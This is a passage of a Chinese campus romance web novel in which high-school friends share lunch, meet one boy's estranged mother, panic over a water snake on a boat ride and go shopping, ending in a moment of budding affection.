尽管是体育生，文化课还是要上的，学业不能放弃，毕竟网球这项运动不是单靠蛮力互抽取胜，需要球商配合才行。 哪儿来的聪明球商？ 说白了，就是在应该读书的年纪里，好好学习，天天向上。 江中本部向来学神遍地，在这种竞争无比激烈的环境下，俞杨那成绩完全就是吊车尾的存在。 俞杨这人吧，特别容易心态不稳，想七想八。 所以刚进江中那会儿，他受成绩排名影响，老是不自信，觉得自己这不行那不行，到后来，不仅学习跟不上，球技也跟着大退步，比赛打得稀烂。 有次他大晚上犯网抑云，就去找柯译衍诉苦。 那时，柯译衍正独自在美国参加网球比赛，他戴着蓝牙耳机坐在餐厅里，一边吃饭，一边听着俞杨啰里八嗦发表心碎小作文。 极其耐心地等俞杨诉苦完，柯译衍就对他说了爱因斯坦“每个人都是天才”的那句话。 俞杨被他这么一安慰，心态平衡想明白，状态随之调整过来 直到听见柯译衍淡嗯了声，周静瑶才暂时放过俞杨。 既然话题都聊到梦想前程了，一向自来熟，性格外向的周静瑶半好奇、半随机的，把问题抛给柯译衍。 “哎衍神，你以后打算干什么啊？” 柯译衍还没开口，俞杨已经无比丝滑，想当然地替他说：“那肯定和我一样，转成职业网球选手呗。” “真的假的？”周静瑶诧异问。 姜织宁也意外地啊了声，看着柯译衍，表情吃惊地说：“你要去打网球？那你晚自习怎么不去参加训练呢？” 柯译衍后靠向椅背，冷眼看着俞杨，整个人相当无语。 俞杨这个大嘴巴，就他会胡说八道。 柯译衍神色平静，回她：“好问题，我也是刚从俞杨口中知道这件事，你等等，我先问问他，我怎么不去训练。” 姜织宁：“” 俞杨：“” 周静瑶：“” 俞杨后知后觉反应过来自己多嘴说错话，他不敢和柯译衍对视，呵呵干笑两声，主动找补：“哎不是，我乱讲的，也不一定，衍神成绩这么好，对科技也感兴趣，说不定以后会是那方面的人才，主要这才高二嘛，以后的事，以后再说。” 两人之间弥漫着低气压，姜织宁狐疑看看脸色心虚的俞杨，又看看制造低气压的柯译衍。 干嘛啊这是，有什么秘密不能让她知道。 不过她也没多问，甚至没觉得太奇怪，人生本来就不是直线，而是没有边际的旷野。 计划赶不上变化，这不是还有上高三之后，临时转学科，甚至随心转向艺考的人吗。 她知道，青春这段旅程里，不仅仅有令人头痛的学习、酸甜苦辣的友谊、天马行空的幻想，还充斥着“我想成为什么样的人？我以后应该做什么？”的迷茫与彷徨。 …… 进包厢后，姜织宁还没有正式和韩辰打过招呼，她挺意外韩辰会过来一起吃饭，他经纪人不干涉？ 姜织宁目光看向他，笑眯眯打招呼：“好久不见韩老师。” 这称呼 韩辰浑身鸡皮疙瘩立起来，一脸警惕地说：“少来啊，可别叫我老师。” 姜织宁啊了声，疑惑讲：“你们圈不都是这老师、那老师的称呼吗？” 这么说也没错。 但是吧韩辰受幼儿园时期的阴影影响，是有点怕姜织宁的，所以对她的印象多少有点先入为主了，就觉得姜织宁这么称呼他，很不怀好意。 至于为什么怕她，是因为一场儿童节的合唱表演，也可以称之为韩辰的黑历史表演。 名为合唱表演，实际情况是，姜织宁独自站在舞台最中央，领唱大部分歌词，其他小朋友成排立于她身后，负责和声部分。 韩辰就是其他小朋友之一。 表演当天，也不知道怎么回事，大家全都上台各就各位了，只有韩辰死活不愿上台，老师强行把他往舞台上拽，他不干，直接坐地上嚎啕大哭。 表演被耽误延后，韩辰和老师就这么足足僵持了好几分钟。 姜织宁那天心情也不太好，又被韩辰的哭声吵得头涨耳朵痛，她心里很生气，便冷脸转身，大步走到韩辰面前，凶巴巴质问他想干什么。 韩辰被她这么一吓，收了下声，下一秒，哭声变得更加撕心裂肺。 姜织宁也是忍无可忍，当即抬手，猛打韩辰胳膊好几下，一边打一边叫他别哭了。 袭来的痛意比什么都好使，韩辰直接吓到噤声。 就这么泪眼朦胧看着姜织宁，呆呆心想，这个世界上，怎么会有这么恐怖的女生啊？ 她好可怕！ 两位小朋友因为这件事结下梁子，那段时间，韩辰半怂半勇，挑衅过姜织宁好几次，姜织宁最讨厌没礼貌的男生，自然不会给韩辰好脸色。 几次battle下来，均以想欺负姜织宁的韩辰，最后反被姜织宁制服的悲惨结局告终。 很快，韩辰的心里因此蒙上一层比喜马拉雅山还要高的阴影，彻底学乖，再也不敢招惹姜织宁了 大概是太久没和姜织宁打嘴仗了，韩辰突然嘴巴犯痒，底气也莫名有点自信。 他想了想，幼稚对姜织宁说：“那我也叫你姜老师。” “可别，我是普通人。”姜织宁淡定摆手。 他嚷嚷起来：“你曾经老师过啊。” 姜织宁四两拨千斤，不那么友善地微笑说：“都知道是曾经，还故意这么喊我，干嘛啊你，是不是想挨骂？” “” 韩辰被说的有点玻璃心了，忍不住扭头找家长撑腰。 他推了推柯译衍。 还没输好的信息因为被韩辰一推，手滑发了出去，柯译衍立马点击撤回，随即放下手机，平静抬眸：“干什么？” 韩辰：“你同桌这么凶，居然说要骂我，你管一下。” 开什么玩笑。 他怎么管？凭什么身份管？ 柯译衍很无语，一脸困惑反问：“怎么管？我是警察吗，还得给你调解同学口舌纠纷？” 韩辰：“” 很想反驳，但想不到理由。 韩辰忍不住又推家长一下，生气发出灵魂质问：“你哪边的啊？！” 正输入信息的柯译衍再度被打断，这回头也没抬，语气十分不耐：“你管我哪边的。” 韩辰：“” 哈？ 一个比一个气人，犯水逆吧他，看来今天不宜出门！ 姜织宁直接乐笑了。 见状，韩辰忽然问起她的微博号。 “想干嘛？”姜织宁反问。 他流利报了几个账号名，试探问姜织宁，其中有没有她的账号。 韩辰现在微博粉丝小百万，和同公司其他艺人动辄几千万的粉丝量比起来，并不算多。 他的微博大号由公司负责运营，平时就用自己小号上网冲浪，还会经常拿小号去看大号的评论区。 他这个年纪的粉丝，绝大部分是事业粉，账号评论区里，粉丝经常用妈妈的口吻喊他儿子，说儿子你应该这样做，儿子你应该那样做。 起初韩辰不太适应，犯起玻璃心，以为这群人在骂他，阴阳他。 而且叫他儿子就算了，还有些人很没礼貌，一个劲叫他孙子是怎么回事？？？ 黑粉，绝对是黑粉！ 事实上，别看韩辰现在粉丝不算多，其中的黑粉数量还真不少，像他刚才报的——韩辰我是你活爹、孙子呵呵这样的账号名，一听就知道是黑粉无疑。 姜织宁压根没关注他微博账号，对他丝毫不感兴趣。 只不过对方故作轻松，实则紧张兮兮的模样实在太好笑了，姜织宁蹦出坏心眼，笑起来，意味深长地说：“你猜？” 韩辰：“” 猜什么猜！ 他要是能猜到还会问她吗？！ 姜织宁看他脸色快要崩溃，见好就收，止住笑意说：“放心吧，别玻璃心了，我没关注你，绝对不是黑粉。” “哪玻璃心了，知道那群黑粉多恐怖吗？”韩辰语气不满，“要不然，我们互换身份试试，你行你上。” 姜织宁摆了摆手，谦虚说：“我不行的。” “怎么不行，我看你行得很啊！”韩辰一字一句，阴阳道，“前！辈！” 前辈俩字被他故意说得极重。 两人都是童星出身，但姜织宁的出道时间比韩辰早太多了，她四岁就开始拍广告，等到她退圈了，韩辰才签约经纪公司。 算起来，她确实是韩辰的前辈。 姜织宁摇摇头：“我真不行，我玻璃心。” 韩辰：“” 多年不见，这再见面后，韩辰悲催发现，他怎么还是被姜织宁制得死死的…… 这回等到柯译衍手头事忙完，韩辰才敢轻推他一下。 柯译衍：“？” 韩辰下巴冲姜织宁指了指，意思是，你管一下啊！ 柯译衍：“” 旁听整个斗嘴过程，柯译衍能听出来韩辰很幼稚，打嘴仗打不过姜织宁。 那怎么办，这人没能力、不占理，又菜又爱玩，指望他有什么用？ 无法理解。 再说了，他不一定打得过姜织宁啊。 长叹了口气，柯译衍不想被韩辰反复骚扰，想了想后，敷衍安慰：“拿人手短，吃人嘴软，听没听过？” 韩辰：“？” 柯译衍好心劝他：“你忍一下。” 韩辰倔强冷哼：“我两袖清风，一身傲骨，忍不了的！” “那就出去。”柯译衍面无表情地说，也没惯着他。 “” 靠！ 一口老血差点吐出来，变脸变得这么快，居然直接赶他走哎，简直难以置信！ 他韩辰，怎么会有这种冷酷无情的兄弟？？？ 激将法是吧，好好好，好得很！他偏不走了！ 他好不容易，才从经纪人那里争取到单独出来玩的宝贵机会，叫他走？绝对不可能！ 韩辰无语至极，板着脸，歪斜着眼，用一种“你这个吃软饭的家伙，没骨气！我很看不起你！”的鄙视眼神，深深谴责着柯译衍。 试图对他造成魔法意念攻击。 但没用的。 吃软饭的家伙视而不见，任由韩辰在那边唱独角戏，不仅懒得搭理他，上半身还特意偏向姜织宁那边，专注听她说话。 第27章 她手放在他腿上 愉快吃完午饭, 一行人打算去坐船。 是周静瑶的建议，说脱离学习苦海，好不容易出来一趟, 要玩就玩尽兴，几人商量过后, 决定先乘船到湖的另一边，然后去看场最近刚上映的科幻大片。 由于中午食客多, 所以等待坐船的人也多，餐厅服务员贴心告诉姜织宁, 要排一会儿队才能轮到。 九月暑气渐消, 今天气温不算高, 码头那边搭建了遮阳棚，姜织宁想直接去码头等, 说不定，还能在那边幸运碰见餐厅喂养的野生小松鼠。 几人起身离开, 说笑着经过大厅时，旁边突然传来一道温柔女声。 “译衍。” 姜织宁顺势止步, 闻声望去，发现喊人的是个身穿浅紫色连衣裙, 打扮十分优雅的漂亮阿姨, 她身旁还跟着位儒雅男人。 两人快速走到柯译衍面前, 微笑看着他。 柯译衍脸色平静, 不冷不热喊了声：“妈，周叔。” 柯卉芸早已习惯儿子的冷淡态度, 脸上笑容不变, 笑眯眯扫了眼姜织宁等人，打量目光特意在姜织宁身上停留了好几秒。 目光回到柯译衍脸上, 她语气柔和地说：“过来吃饭怎么不和妈妈说呢？要是提前说一声，平清这边也好给你们安排一下。” 说着，微笑看向身边的周平清。 周平清笑着附和：“是啊译衍，下次要来久悸吃饭，可以和叔叔提前说。” 薄唇抿成一条冷淡锋利的直线，仿佛跟没听到似的，柯译衍沉默不语。 气氛有些僵硬。 柯卉芸没在意，笑了笑，目光落到俞杨身上：“俞杨也在呢。” 俞杨忙打招呼：“柯阿姨好。” 柯卉芸笑着点点头。 看出柯卉芸还有话要说，柯译衍便让姜织宁先去码头那边，他等会儿过去。 姜织宁看他两眼，点点头，先走了。 柯卉芸望着姜织宁离开的背影，忍不住好奇问柯译衍：“都是你的同学吗？” 柯译衍平淡嗯了声。 柯卉芸：“以前好像没见过她。” 柯译衍：“您说谁？” 柯卉芸：“戴渔夫帽的那个女生。” “开学才转来我们班。”柯译衍惜字如金地说。 “这样啊” 开学才转来的话，那应该认识还没多久吧，柯卉芸脸色有些惊讶，忍不住扭头望向周平清。 周平清是过来人，高中那会儿他就暗恋柯卉芸，当然清楚青春期里的那点事，他浅笑了笑，用眼神安抚柯卉芸没事。 刚才少年少女们从走廊过来的时候，柯卉芸就已经注意到他们。 她瞧见柯译衍和渔夫帽女生并肩走在最后一排，两人不仅有说有笑，柯译衍的神情姿态也是少见的放松，中途，他还主动抬手帮女生调整歪掉的帽子。 柯卉芸之所以这么吃惊，是因为从小到大，她就没见过柯译衍和哪个女生走得特别近，而且还是在这种刚认识不久的情况下。 柯译衍小时候脾气不太好，压根不愿意和人来往，身边自然看不到女生出现。 后来少年长大点，人变得成熟，性格转好，朋友随之多了起来，但她也没见到过柯译衍身边出现走得比较近的女生。 哪怕是网球俱乐部里和他一同训练的女生队友，也只是点到为止的礼貌交集，从来不会越线，更不会释放让女生误会的信号。 不过，柯卉芸心想，也有可能因为她和儿子的相处时间不多，对他日常生活不够了解，毕竟儿子正处于青春期，心中有个喜欢的女生很正常。 看柯卉芸一时没说话，柯译衍挪开眼，平静望向窗外，问道：“您还有事吗？” 一副不想再聊下去的疏冷态度。 柯卉芸回过神，连忙说：“没什么大事，妈妈就是想和你说一声，周末节假日的时候，你可以回自己家住，老是一个人住舅舅家，也挺冷清的。” “习惯了。”柯译衍冷淡回。 柯卉芸劝道：“还是偶尔回来住一住吧，毕竟是自己家，妈妈最近在平清这边学会了好几道拿手菜，等你哪天回来，给你露一手尝尝。” 她看向周平清，男人立马帮忙说：“是啊译衍，叔叔帮你尝过了，你妈妈手艺很不错。” 柯译衍淡漠说：“那边方便。” 无形的拒绝。 柯译衍现在住的学校附近那套房子，是他舅舅柯绍之的家，柯绍之生意忙碌，名下有好几套房，他清楚外甥独立惯了，从来不需要人操心，所以平时很少去柯译衍那边。 柯卉芸知道柯译衍住在舅舅家上下学很方便，但是假期也一个人在那边呆着，不愿回自己家住，也未免太孤独了。 作为母亲，柯卉芸知道自己并不合格。 以前她过于自我，眼睛只放自己身上，漠不关心儿子，愧对柯译衍，等她后面醒悟过来，想要弥补亲情，却又晚了。 她还总是使错劲，搞得母子关系僵硬至今。 * 码头上有人在喂松鼠。 姜织宁问服务员要了根玉米，插在筷子上，也站在香樟树旁喂松鼠。 景区里的松鼠胆子大，不怕人，只要发现游客拿出零食作势要喂，就敢从树上溜下来，等待投喂。 周静瑶拍完风景照，录好视频，扭头对俞杨说：“刚才大厅那两位是柯译衍父母？看着真有气质。” 俞杨一边喂松鼠，一边说：“柯阿姨是，另外一位不是。” 周静瑶啊了声，有些吃惊：“那叔叔长得这么帅，居然不是衍神的爸爸？” “不是，这位周叔叔的颜值顶多算中上水平，当然，在普通人里已经算天花板了。”俞杨透露一嘴说，“你是没见过柯译衍亲爸，他亲爸那长相才叫真的帅。” “什么水平？”周静瑶好奇追问。 俞杨：“上世纪港星神仙打架的水平。” “哈，这么牛啊？难怪柯译衍长这么帅。”周静瑶佩服点了点头，紧跟着，大胆八卦问，“容我多嘴一句，既然这位帅叔叔不是衍神爸爸，那他和柯阿姨还挺亲密是怎么回事？” 俞杨：“？？？” 松鼠嫌弃一直趴在树干上咬玉米太费劲，趁俞杨分神空档，嘴巴一用力，从俞杨手里抢过整根玉米棒，蹦跳着蹿上树。 俞杨很震惊，足足呆滞了好几秒，警惕查看四周，确认柯译衍还没过来后，才敢凑到周静瑶身边，压低声音说：“我去，这你都能看出来？” 周静瑶右手豪放挂到姜织宁肩膀上，笑嘻嘻说：“这不是很明显吗。” 俞杨：“” 这是什么火眼金睛？ 他茫然望向姜织宁。 结果周静瑶说：“你别看宁王，我都能看出来，她肯定也看出来了啊。” 俞杨：“” 姜织宁确实有察觉到。 尽管两人并没有任何亲密举动，但男人看女人的眼神是极其温柔的，充满爱意的，明显能看出两人感情很好。 通过刚才的短暂接触，姜织宁还敏锐察觉出，柯译衍和他妈妈的关系似乎不太好。 柯译衍对他妈妈的态度是礼貌的，不过，那是一种面对陌生人的礼貌，充满疏远的客气。 和他妈妈说话的时候，他身上那股拒人千里之外的冷感特别重。 周静瑶看俞杨支支吾吾不愿开口，不满冲他喂了声，说：“还是不是朋友了？刚才在饭桌上，我还主动回答你蔡总的难处，怎么轮到你这边，就开始不情愿了？哦，就我们单方面给信息啊？信息共享的道理知不知道？就你这样，下次别一起玩了。” 俞杨理亏，犹豫片刻，叹了口气，只好半透露说：“唉，其实也没什么好说的，柯译衍父母很早就离婚了，好像是在他刚出生那年就离了，现在这位周叔叔是柯阿姨的男朋友，不出意外会结婚。” 周静瑶见怪不怪，淡定哦了声：“难怪看着挺亲密。” “柯译衍和家里的关系是不是不太好？”姜织宁若有所思问了句。 俞杨点点头。 因为心疼自己兄弟，他忍不住多说了几句：“衍神和父母的关系不怎么样，和外婆那边的亲戚关系还可以。衍神他家，唉说起来也挺复杂的，总之呢，他妈妈小时候不管他，人也不在衍神身边，过了好多年才回江洲。” “至于他爸爸，唉我都不屑提。”俞杨脸上露出鄙夷的表情。 姜织宁蹙眉：“他爸爸怎么了？” 俞杨叹气：“他爸爸那家人定居国外，这从小到大，就没回国和衍神来往过，跟完全不存在似的！” 他给自己说生气了，忍不住骂了句：“操！这种烂人，有什么资格做父亲啊？！” 父母缺席。 姜织宁默默心想，在这种缺爱的家庭环境里成长，柯译衍岂不是很孤独？ 不一会儿，柯译衍过来了。 还挺巧，他来的时候正好有船夫摇着船回来，总共五个人，因为是体积比较小的人工摇橹船，只能分开坐。 别看周静瑶平时一副大大咧咧模样，毕竟从小受到家庭环境熏陶，因此每逢关键时刻，她也很会来事。 她知道今天是姜织宁请客，这就意味着，除了她自己，剩下三个男生都是客人的身份。 这种时候，她自然要帮姜织宁照顾好客人。 周静瑶分别指了下船，雷厉风行分配道：“双A组坐一艘，我和俞杨坐另一艘，韩辰你想坐哪边？随便你选。” 本来韩辰肯定要跟着柯译衍坐，但是刚才柯译衍吃软饭的表现让他非常瞧不起，于是他大手一挥，表示自己要和俞杨坐一起。 柯译衍弯腰跨上船后，姜织宁看了眼，没选择他对面座位，大大方方坐到他身边。 柯译衍有点意外，侧目瞥她一眼，目光交汇，姜织宁对他弯唇笑了笑。 天朗气清，惠风和畅，在这种好天气里游船是真的很舒服。 戴草帽的船夫坐在船头，慢悠悠摇晃着船桨，午后阳光在水面折射出细碎的光，小船如同一片轻盈的绿叶子，悠然荡漾在清波之上，安静穿梭在绿野仙踪里。 从久悸到另一边的码头大概要一个半小时，刚开始，游船还挺顺利，眼到之处景色宜人，耳畔虫鸣鸟啼合奏成一段极度助眠的白噪音。 姜织宁逐渐坐没坐姿，讲话声音越来越轻，在这种环境里，她舒服得快要睡着。 前提是，韩辰没有大喊一声“有蛇！！！”的话。 最初，她并没察觉到异常，还在那边昏昏欲睡，因为俞杨喊的是小青来了。 她身体无意识朝柯译衍那侧慢慢滑去，脑袋几乎快要靠到他肩膀上。 紧接着，韩辰高声惊恐吼起来：“有蛇啊啊啊啊啊啊！” 姜织宁双眼猛然睁开，吓得一个激灵坐直，瞬间清醒。 有蛇，哪里？？？ 她最怕蛇啊！！！ 姜织宁立马转身去看后面情况。 柯译衍被她忽然伏趴向船边的动作吓一跳，立马伸手拽住她衣服，皱眉提醒：“回来，小心掉下去！” 她根本听不进去，犀利目光仿佛雷达一样，到处扫射蛇在哪里。 “姜织宁你” “嘘，别吵！” “” 他话还没说完，就被她打断。 柯译衍没办法，只能一直拉住她的衣服保持平衡，免得她不小心掉水里去。 景区绿植繁茂，湿润阴凉，生态环境极好，姜织宁是听说过游船的时候，会偶遇蛇、野鸭鸳鸯、白鹭之类，但她还挺幸运，之前从来没碰到过蛇。 周静瑶那边已经乱成一团，主要是韩辰在大呼小叫，吓得不行，导致船夫也被搞得很紧张，一个劲地加速划船逃离。 姜织宁见状，连忙回头对自家船夫说：“师傅有蛇！快走啊！” 船夫继续在那边捞他的乌龟，老神在在地说：“别慌，不会过来的。” 姜织宁：“” 这师傅也是很任性了。 划船划到半路，突然眼毒发现有只大乌龟在睡莲周围游荡，由于距离并不远，所以师傅心血来潮，当即摇桨调转方向，去捞那只乌龟。 如果平常遇见这种小插曲，姜织宁并不会说什么，也不会阻拦，但眼下有蛇的情况，船夫还这么视而不见，就让她很无语。 周静瑶那艘船已经划到前面，绿色水蛇慢吞吞朝着姜织宁这艘船游来。 姜织宁吓呆了，拼命呼唤师傅。 “师傅你好了没啊！” “捞不到乌龟的！你们无缘，快放过它！！” “蛇游过来了！” “快看，真的过来了！！！” “它过来了！过来了！过来了！过来了！” “过来了啊啊啊啊啊啊啊！师！傅！救！命！！！” 姜织宁内心很崩溃，但又不敢大声说话，嗓音弱到堪比蚊鸣，像在自言自语，怕把蛇招引过来。 自从医生叮嘱她为了健康，身心方面尽量要做到人淡如菊后，她整个人的情绪，已经很久很久很久没有这么激动过了！ 此刻，姜织宁如临大敌，死死盯着水蛇。 她整个人不断向后挪，挪到最后，后背紧紧贴上柯译衍胸膛，左手扶着椅背，右手毫无意识地撑在柯译衍大腿上。 她情绪高度紧张，指尖抓着柯译衍的运动裤，格外用力。 腿上猝不及防袭来一阵痛意，柯译衍低头看去，发现是姜织宁的手 他沉默看着那只莹白纤细，死命掐住他大腿，还越来越使劲的手，微微皱眉，不着痕迹地轻嘶了声。 倒不是纠结暧昧不暧昧，而是—— 她这手劲给他掐的，是真的有点痛 另一边，船夫终于打捞起他的宝贝乌龟，转身站起来，问道：“哪呢？！哪呢？！” “那里啊！！！” 姜织宁嗓音发颤，右手拼命拍打柯译衍大腿，左手指向停在船边不远处，微微抬头注视这边的水蛇。 “哦别怕，没事啊，咱们这就划走。估计是挡着它路了，其实蛇也怕人的，一般不会上船。” 说着，船夫淡定摇起船桨。 一般？ 那就说明会有万一啊！ 姜织宁皮笑肉不笑地说：“万一它上船，我真的会原地跳河。” 船夫乐呵笑起来。 船挪走后，水蛇果然低头，缓慢游去睡莲那边，直到离开是非之地十几米远，姜织宁高度紧绷的精神才彻底松懈下来。 她一动不动，脸色麻木缓了一会儿神，正打算转身坐正时，头顶传来一个平静的嗓音。 “手。” 她扭头看向柯译衍，同时奇怪心想，什么东西啊，摸着又软又硬的。 四目交汇，姜织宁眼睛里充满了迷茫。 柯译衍：“” 他叹了口气，下巴点了下她的手，示意她往下看。 姜织宁顺势垂眼，猛然发现，自己右手正大剌剌地放在柯译衍大腿上，不知道什么时候放的，不知道放了多久。 原来，手感又软又硬的是他的腿 震惊无语中，她慢吞吞仰头看他一眼，然后慢吞吞低头，再次看向右手。 她并没有第一时间挪走手，而是尴尬抿起唇，指尖蜷缩，下一秒，抓了抓他大腿。 硬邦邦的肌肉手感。 姜织宁：“” 柯译衍：“” 柯译衍浑身僵了下，腿上传来一阵微弱痛意，姜织宁不打招呼，突然这么给他来一下，这会儿是真有点无语了。 刚才惊慌失措的情况下，他还能理解姜织宁把他当成人肉沙包，不得已在他腿上又掐又抓又打，现在蛇都不见了，怎么还要抓着他不放？ 干什么，故意占他便宜啊？ 柯译衍默然心想，朋友之间，这样不好吧。 沉默。 死一般的沉默。 姜织宁面无表情，直勾勾盯着不受自控，很有独立想法的右手，有那么一瞬间，就很想当场剁掉。 她刚才真不是故意抓他腿，指尖蜷缩，确实是因为尴尬而产生的条件反射，和那什么尴尬到五指扣地的情况差不多。 最关键的是，她的右手有点抽筋发麻了 没办法，姜织宁盯着右手，像是拍蚊子似的，“啪！”一声，迅速将左手盖到右手背上，试图震走麻痹感。 她镇定自若寻思着，区区一只手，我还治不了你了？ 匪夷所思的行为。 柯译衍看着这一幕，内心琢磨不透，困惑心想，她不仅不放手，还把两只手都放上来？ 想干什么啊姜织宁。 光天化日，挺大胆啊你。 就在柯译衍目光复杂，心思怀疑的时候，姜织宁左手慢吞吞拎起右手，淡定仰头看向他，抱歉说：“不好意思，手抽筋了。” 她表情一本正经，姿态怪异，像是在拎着别人的右手一样，端正挪坐到旁边，和他拉开一定距离。 “”柯译衍看她这幅模样，没顾着自己，关心问，”手没事吧？” 姜织宁淡定点头：“嗯，没事。” 船舱内忽然安静下来，一时之间，两人都没说话。 姜织宁缓慢揉着发麻的手，思绪放空片刻，突然想起什么来。 她扭头看向柯译衍：“那个，你的腿——” 柯译衍放下手机，侧目看过来。 她轻咳一声，有点不太好意思地说：“痛吗？我刚才打你应该挺用力的” 他淡声说：“不痛。” “真的？” “嗯。” “哦” 她抓他大腿的地方挺靠上边，是可以称之为危险距离的位置，确实不方便现场查看，除非他脱裤子。 想了想，姜织宁还是不太放心，她知道刚才下手有多重，毕竟是吓到极致的状态，自然控制不住手劲。 她认真对柯译衍说：“那你回家后，记得检查腿上有没有红肿淤青，如果有问题，我家有很多跌打药膏。” 柯译衍重点偏移，不由皱眉：“为什么会有很多跌打药膏？你很容易受伤？” 姜织宁笑了笑，习以为常地说：“也还好，主要是备用，像我们这种常年跳舞的人挺容易磕碰扭到，很正常的。” 第28章 会哄你 经历小青惊魂后, 后半程一路顺利，船到岸停靠码头，一行人陆续下船。 码头附近就是繁华商业区, 高楼大厦鳞次栉比，商场百货密布, 柯译衍预定了下午的电影票，要去的电影院就开在附近商场里。 快要走到商场门口时, 姜织宁眼尖注意到，一楼EQUA门店的橱窗海报上有韩辰的身影。 她停下脚步, 饶有兴致指着海报, 对韩辰说：“你的硬广哎, 你要不要和自己合个影？” 橱窗海报非常大，足足有三层楼之高, 韩辰上下打量着，心里也挺震惊, 毕竟是第一次看到自己拥有这么显眼的地广。 确实挺心动，挺想合影的, 但 韩辰半犹豫地说：“不方便吧。” 姜织宁笑眯眯，嘲笑他：“你是不是怕经纪人骂你？” 周静瑶相机早已就位, 凑上来劝韩辰。 “哎呀, 你不是戴着口罩吗, 别人认不出你的！趁现在, 难得出来玩，不就应该把经纪人不允许做的事赶紧全做一遍吗, 合个影怎么了, 又没做坏事，要疯赶紧疯啊, 周导已经准备好了！” “感觉这里人有点多啊”韩辰还是有些扭捏。 “哎赶紧的，口罩不用摘！”周静瑶伸手推了他一下，拜托道，“快让我拍几张练练手，周导手痒心痒，保证把你拍成宇宙超级无敌帅！我技术很好的！” “宇宙超级无敌帅？”韩辰一脸天真，“真的啊？” “嗯，绝对放心！” 周静瑶怕他不信，迅速拿出手机，给他翻看以前的摄影作品。 “那”韩辰揉揉鼻尖，咳了几声，勉为其难道，“那就随便拍几张吧。” 最开始，韩辰半推半就，姿态扭捏，结果真拍起照来，整个人状态立马丝滑切换，反客为主。 每拍几张，他就要抬手示意停下来，主动走到周静瑶身边，两颗脑袋凑一块儿，嘀嘀咕咕讨论着构图光影，显然乐在其中。 姜织宁瞧着他，还挺好笑。 由于距离电影开场还有一段时间，姜织宁和周静瑶打了声招呼，然后和柯译衍一起去EQUA店里买帽子。 刚才坐船的时候，她戴着的渔夫帽不小心掉进水里，捞上来湿答答的，还沾着水草和浮游生物，已经没法再用了，她干脆把帽子送给船夫，装他好不容易捞到的宝贝乌龟。 走进店里，姜织宁先拿了顶米白色的棒球帽，接了拿了两包跳舞用的护膝，然后走到摆放渔夫帽的货架前，挑挑选选起来。 柯译衍抱臂站在一旁注视她，闲聊问：“这么喜欢买帽子？” “对啊，我是帽子狂魔。”她笑了笑，口吻轻松说，“要保护头发，保护已经不是原装的脑袋，尤其是冬天的时候，冷风吹过来很容易头疼。” 姜织宁在牛油果色和树莓色之间犹豫不决，思考时，随口问道：“哎柯译衍，EQUA的探险家联名款帽子什么时候上市啊？感觉设计挺好看的。” 柯译衍：“” 他怎么知道？ “好像还是牛油果色好看点。” 姜织宁自言自语说完，将树莓色那顶放回货架上，扭头看向柯译衍，等他回答。 柯译衍：“” 她很认真地看着他，目光里充满求知欲，柯译衍沉默了下，妥协说：“我去问问。” 这还要问？ 姜织宁嘴巴比脑子转得快，纳闷“啊？”了声：“你不知道吗？” 柯译衍刚转身，听她语气惊讶这么问，便又转回来面朝她，疑惑反问：“我为什么会知道？” 他仔细想了想，这好像不是什么了不起的大事。 姜织宁这会儿还没察觉出不对劲，直言不讳地说：“哦，我还以为你在EQUA兼职的话，应该会知道产品什么时候上市。” 柯译衍：“？” 他皱眉看着她，心想自己什么时候在EQUA兼职了。 姜织宁顺势举起手中两顶帽子，示意问：“对了，结账时需要报你的工号吗？这样能算你的业绩吗？” 柯译衍：“？” 越来越听不懂了，工号业绩是什么东西？ 百思不得其解。 两人安静对视着，彼此脑子里充斥无数问号，但很快，柯译衍就率先明白过来姜织宁为什么会这么说了。 他恍然想起来，不久前他在EQUA总店帮她定制衣服的小插曲，从而联想到，极大概率，姜织宁已经认出之前帮她定制衣服的店员就是他。 而另一边，姜织宁终于后知后觉意识到，她不小心说漏嘴的事实。 她抿了抿唇，无语冲自己翻了个白眼，然后面无表情挪开视线，直勾勾盯着货架，一言不发。 在和柯译衍成为朋友之前，姜织宁每次和他讲话都挺谨慎的。 和大部分年轻人一样，她挺喜欢穿EQUA的衣服和运动鞋，像音暴里那群跳舞的小伙伴，也都喜欢到EQUA买衣服，因为穿着舒适宽松，格外适合跳街舞，而且设计风格潮酷时尚，特别好看。 所以在学校里，姜织宁好几次想问问柯译衍有关EQUA的事，谁让这个品牌受追捧，旗下产品总是断货呢。 但是每当她准备问柯译衍的时候，理智总会及时打断她，让她别问。 怎么说呢，她知道这个年纪的同龄人自尊心高于天，尤其是涉及家境、父母工作这方面的话题，大部分情况下，尽量少说少问，不合适，挺敏感的。 毕竟不是每个人都那么幸运，一出生就在罗马。 除了口风比蚌壳还要紧密的周静瑶，姜织宁从来没有对任何人说过柯译衍在EQUA兼职的事，她也一直在柯译衍面前装糊涂。 眼下突然说漏嘴摊牌，酿成尴尬状况，姜织宁面无表情反思过后，把原因归功于—— 她懈怠了。 在和柯译衍变成更亲密的朋友关系后，导致言行方面，她下意识对他不再那么谨慎了。 唉，好烦啊…… 双手懒散环至胸前，柯译衍闲闲倚靠到墙边，换了个更舒服的站姿。 他侧目望着面无表情的姜织宁，轻笑出声：“认出我了？” 姜织宁闷声不响，上演沉默是金。 但也清楚装不了糊涂，想了一会儿后，决定不如大大方方说出来更好。 她眨了眨眼，依然偏头盯着货架，拿侧脸对着柯译衍，没好意思看他，嗓音毫无起伏地嗯了声。 少女故作淡定的样子挺好笑的，柯译衍唇角微弯起来，慢条斯理追问：“不会早就认出我了吧？” 姜织宁：“” 这是要揭她老底啊? 姜织宁缓慢深呼吸，鼓起勇气，回头正视柯译衍，逻辑自洽，坦率承认说：“是啊，我觉得不是什么奇怪大事，不足一提，所以之前没问你。” “这年头，谁不是六边形战士呢，比如我们家周导吧，也会在校外给人有偿拍照赚零花钱，嗯，我觉得挺好，大家都是上进少年，这种精神值得学习。” 她不带喘气，一口气讲完这段话，接着又说：“刚才问你工号，没别的意思，就是单纯想给朋友的业绩增砖添瓦。” 柯译衍挑了挑眉：“哦，照顾朋友生意是吧？” “对，是这个意思。” 他歪头哼笑一声，懒洋洋的，调侃似的夸了句：“这么贴心啊。” “是吧，我也这么想。”姜织宁干巴巴回，“不然怎么叫宁王呢，当然是因为义气才能服众。” 柯译衍慢悠悠点了点头，表示理解。 “你没生气吧？”她仔细观察着柯译衍的脸色，认真说，“如果生气的话，及时告诉我。” 柯译衍弯唇笑了笑，顺势问：“告诉你会怎么样？” “会哄你。”她注视着他，毫不犹豫地说。 简简单单三个字，却杀伤力极强，足以席卷起一场名为心动的风暴。 心跳瞬间加速，怦怦震动。 